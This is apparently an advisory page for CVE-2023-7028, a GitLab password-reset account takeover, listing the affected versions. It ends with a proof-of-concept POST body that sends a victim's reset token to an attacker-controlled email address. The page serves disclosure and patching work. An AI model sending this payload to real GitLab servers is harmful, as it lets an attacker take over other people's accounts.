CVE-2023-7028
Background
Password Reset Account Takeover
- CVSS
- VECTOR
- IMPACT
- AFFECTEDGitLab CE/EE≤ 16.1< 16.1.6
- GitLab CE/EE≤ 16.2< 16.2.9
- GitLab CE/EE≤ 16.3< 16.3.7
- GitLab CE/EE≤ 16.4< 16.4.5
- GitLab CE/EE≤ 16.5< 16.5.6
- GitLab CE/EE≤ 16.6< 16.6.4
- GitLab CE/EE≤ 16.7< 16.7.2
A vulnerability in self-managed GitLab Community Edition (CE) and Enterprise Edition (EE) allows account takeover through password reset emails sent to unverified addresses. By supplying an array of email addresses in the password reset request, an attacker can receive the reset token at an address they control without any verification.
Reproduction
POC || GTFO
Send the following POST body to the password reset endpoint. The reset email is delivered to both addresses — including the attacker's:
http
user[email][]=valid@email.com&user[email][]=attacker@email.comReferences